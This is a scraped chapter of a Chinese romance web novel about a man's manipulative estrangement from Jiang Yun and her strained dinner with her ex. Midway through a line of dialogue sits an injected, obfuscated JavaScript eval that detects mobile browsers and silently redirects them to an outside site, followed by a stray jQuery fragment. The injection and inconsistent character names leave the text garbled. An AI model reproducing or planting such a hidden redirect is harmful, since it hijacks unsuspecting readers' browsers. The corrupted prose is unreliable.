第二十三章

作品:《梦见冬日

    第23章第二十三章


    发烧彻底痊愈后,他去了一次姜筠的学校。去之前,他并未让她知晓。


    图书馆里,他就坐在她后侧方的位置。


    隔着不远不近的距离,他看到姜筠看着那个人的聊天窗口发呆,他看到她拿起手机又放下。


    他忽然希望他不那么了解她。


    这样他就不会知道此刻她是因为想找对方又拉不下脸,于是在这里反复纠结。


    她在乎那个人。


    这个认知让他感到心慌。


    在此之前,他原本认为他可以接受她和别人谈恋爱,但需要把他放在第一位,他希望她永远是姜筠心心中特别的人,但他错了,又或许是姜筠处理问题的方式太偏激了,为了刺激他,竞能和别人同居。


    他不得不做些什么。


    他自私地希望,在一切还没明朗之前,他还能拥有她的偏爱。


    起码不要那么快,不要那么快被另一个人取代他的位置。


    不过,姜筠和陈班之间的冷战比他想象的时间要短。不到半个月他们就和好了,因为他看到姜筠的微信头像又换回了情侣头像,手机壳也是。


    烟盒里的香烟随着日历揭过渐渐减少,温礼昂开始依赖起尼古丁的味道,淡淡的烟碱味,停留在舌尖只剩苦涩。从前他父亲爱抽烟,经常一根接着一根,他曾发誓绝不和他一样,但现在,他变成了他最厌恶的那种人。连室友也感到意外。


    “阿礼,你怎么开始抽烟了?之前实验压力那么大,你都不带碰的,这是遇到什么事了?”


    “没什么,只是好奇。”


    简单几个字揭过。


    室友随后打趣:“你妹妹要是知道,肯定要说你。”他眼神暗了暗,只笑不语。


    那天晚上,他在出租屋里彻夜未眠,他想清楚了一件事一一


    在照顾她和给陈班庆祝生日之间,她最后选择的人是他。


    兴许她现在同时喜欢两个人,但显然他优先级更高,不然她不会得知他生病了不顾一切地赶过来。温礼昂眼底的阴霾终于散开,嘴角有了笑意,他好像知道接下来该怎么做了。


    从那天起,他开始不回姜筠消息,不听她电话,也不去学校找她,他对她冷淡如同陌生人。


    断崖式失联。


    但姜母却在和姜筠的通话中提起他越来越多,这也在他意料之中。


    他知道他很卑鄙,但他不能走错接下来的每一步。暑期的最后一周,她和陈班旅游结束回家。在二楼的客厅,她喊住了他,堵在他面前。“温礼昂,你为什么躲着我?”


    彼时,距离上一次见面已经过了将近两个月。“还有,你为什么把我以前给你拍的照片全都还给我了?”


    她回到家,发现房间的书桌上放着一沓厚厚的照片,从她高中买到第一部相机开始,所有和他有关的照片全都在里面。


    那些本来不够明晰的记忆又重新唤醒在脑海里,那些照片横跨了十年的时间,他相信没有人看到那些照片会没有感触。


    他在提醒她,他们曾经经历了什么。


    果然,姜筠眼眶有些泛红。


    “你有男朋友了,我理应和你保持距离,不然你男朋友也会介意。"他说。


    “一定要到这种程度吗?"姜筠仍是不解,眼神只剩倔强,“连过去的照片都要全部还给我。”


    “嗯,"温礼昂看着她的眼睛,眼底酝酿着情绪,“阿筠,不管你是为了气我,还是真的喜欢他,我都希望你幸福。”


    姜筠眼底露出了纠结的表情,她似乎在思考。距离飞机起飞还有一个小时,温礼昂长腿交叠,坐在贵宾休息室阅读财经杂志。


    耳机里《艾斯特庄园的水的嬉戏》播放到尾声,他刚摘下耳机,听见身后似乎有人正在讨论他一一“还是别了,你看他手上戴着那个黑色的编绳,肯定是有女朋友了。”


    “别想那么多,你去嘛,万一没有呢?”


    “……不好吧。”


    “你不去,我可就去了啊。”


    温礼昂当下心里了然,放在杂志上的手停顿了片刻。果然没一会,有人走到他跟前,女孩脸上泛着红晕,小声和他搭话。


    “你好,请问你也是要去瑶甘吗?”


    他放下手里的杂志,点头。


    “你是自己一个人去吗?"女孩看到他的脸,变得更紧张,刚刚还只是匆匆一瞥,没想到近看更为英俊,说话都开始卡壳,“要不要和我们一起组队?我朋友之前去过一次,对那边也比较熟悉。”


    温礼昂当作不清楚她的意图,拒绝得温和,事实上,他应对这些场面已是游刃有余。


    “可能不是很方便,我女朋友会有些介意。”女孩赧然,眼底失落:“对不起,打扰你了,我以为您是单身。”


    他礼貌微笑:“没事。”


    一段小插曲过后,他靠在沙发假寐了一会,随后点开了姜筠的微信。


    最后一条消息还停留在:


    (温礼昂,这次我是认真的,我绝对绝对不会再主动把你加回来了。】


    【阿筠,别闹。】


    他回复时屏幕上已经显示了红色的感叹号。他忘记这是他第几次拒绝她,也忘记这是


    第几次她把他的微信彻底删除,当时,他并未有太强烈的情绪以及感触。


    只是这一次不一样,那个人又出现了。


    其实恢复冷静后,他大致还原了事情的本貌,知晓陈班不过只是这趟旅程的客人,但北城距离瑶甘两千多公里,而那是曾经让她动摇过的人。


    哪怕姜父姜母此刻还在他的公寓里,可他顾不了那么多,他没有一刻能放下心来。


    他不知道自己为何会这样做,他只知道此刻他必须在姜筠身边。


    但这时,机场突然开始播放广播,刚听了个开头,温礼昂眉头就皱得很深,与此同时,他手机弹出消息:【尊敬的旅客,非常抱歉地通知您由于天气原因,本次由首都国际机场飞往瑶芋机场的航班已取消,在此深表歉意。有任何疑问,可前往值机柜台询问,不便之处请见谅。】


    天边雷声滚滚,夹杂着闪电,姜筠从房间窗户往外看,黑压压的一片,宛如世界末日。


    她赶紧把窗户锁上,又拉上窗帘,只是那雨声听起来仍旧骇人得可怕。


    天气预报铺垫了几天的大雨果然来势汹汹,傍晚时分,大雨倾盆,雨点如同石头往下砸,在车窗上晕开大朵的水花,雨势实在太大,车辆都寸步难行,他们只好在附近找了家酒店落脚。


    预定好的酒店无法取消,俞诗荞说由他们来承担这部分费用,阿黄本来还想和酒店争执一番,听见这才放弃了这个念头。


    这还是第一次他们四个人住在同一家酒店。不过陈琏和俞诗荞住在楼上的观景房,她和阿黄则住在标间,房间不大,就十五平米左右。


    姜筠刚上好药,拧紧药膏,群里就弹出阿黄的消息:【晚饭我买回来了,大家来楼下的餐厅一起吃吧。@Jin @圆圆的桥@姜筠】


    这头换好衣服,阿黄就来敲响她的房门,扶她下楼。脚上的伤仍未有丝毫好转的迹象,她走路一跛一跛的,像个鸭子。


    进了电梯,阿黄打趣她:“平时也没发现你好胜心那么强,怎么今天跑那么快?竞然摔成这样。”想起下午那尴尬的画面,姜筠小声嘀咕:“只能说害人之心不可有。”


    “什么?”


    姜筠摇头,打住话题。


    “……没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323246|141624||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么,你还是别问了。”


    到了餐厅,她随便选了个位置坐下,没一会,陈班和俞诗荞也下了楼。


    陈班换了身衣服,像是洗漱过了,头发微湿。姜筠刻意不看他,只是察觉到那脚步声离她越来越近,紧接着那人拉开她对面的椅子,落座。两人就这么面对面坐着。


    刚对上视线,姜筠立刻别开了脸,陈班也是脸色阴沉。下午才歇斯底里吵完架的两个人,此时此刻还要面对面坐在一起吃饭。


    无异于酷刑。


    姜筠低着头,差点把头埋进餐盘里。


    她想起下午,在陈班胡言乱语前,她立刻把电话挂了。“陈班,你发什么疯?”


    她那会是真的生气了,她讨厌这样的恶作剧,更别谈她和温礼昂现在还是互删微信的关系,他的出现只会让事情变得越来越复杂。


    陈班慢条斯理地回答,丝毫没有愧疚之心。“只是和你哥开个玩笑。”


    毕竟曾经温礼昂也和他开过这样的玩笑,他不觉得这有什么问题。


    姜筠无奈,声线压低。


    “你不要提起我哥。”


    陈琏又是一声冷笑。


    从前姜筠也爱这么和他说,好像温礼昂是什么禁忌似的。


    “怎么,他有什么了不起的。"陈琏忍不住打击她,说起风凉话,“你这一辈子都不可能和他在一起,姜筠,你他妈清醒一点!”


    “那也不要你管。”


    姜筠只恨她现在是病患,要不是腿受伤了,她早就走了,懒得在这跟他多费口舌。


    可陈班还在看着她,那张完美的脸仍然没有任何瑕疵,只是多了些戏谑和不屑,上挑的桃花眼如覆冰霜。他像是忽然想起什么,恍然。


    “当初你送我的那双球鞋,我可算知道是什么意思了。”


    姜筠皱眉。


    如果她没记错的话,他指的是在一起第一百天的时候,她攒了一个月的兼职费送给他的球鞋,Air Jordan 1 retro,她之前所以记得那么清楚,是因为她为此还做了一阵功课。


    她从前对球鞋一点都不了解,但知道他家境优渥,不敢买太便宜的,担心他不会穿,所以才提前攒钱买了一双价格合适的送给他。


    她倒想听听他是怎么说的。


    “所以是什么意思?“她问。


    “不就是为了送我走么?”


    姜筠气得一句话都说不出来。


    行,他非要这么理解,她也没有办法。


    她懒得和他解释,就让他这么认为吧,反倒还省事了。没想到姜筠没否认,陈班抿紧嘴角:“所以是真的?”“对,你才知道么?"姜筠说起了气话。


    只是,她突然想到了某种可能,心里一阵慌乱,她抬头看向陈班,试探性地开口。


    “陈班,你、你不会是还…喜欢我吧。”


    后四个字她说得不是很确定。


    话音刚落,陈班就笑了,那讽刺的笑容让她觉得自己问


    了一个很蠢的问题。


    “怎么可能?"陈班再次强调,说得言之凿凿,“你放心,我绝对不会喜欢一个谄媚、圆滑、市侩、投机取巧的女人。”


    谄媚、圆滑、市侩、投机取巧?


    这是她?


    姜筠愣了愣,她有这么不堪吗?


    第一次被别人这样评价,她气得胸腔上下起伏,也放下狠话。


    “行,我不管你喜不喜欢我,最好是别喜欢我,因为我一点都不喜欢你,以前不喜欢,现在更不喜欢!”傍晚时分,天色变暗,陈进站在她面前,原以为他会挖苦嘲讽她几句,但他脸上竞然流露出了类似忧伤的神色。过了许久,姜筠听见他闷声说了句:“好。”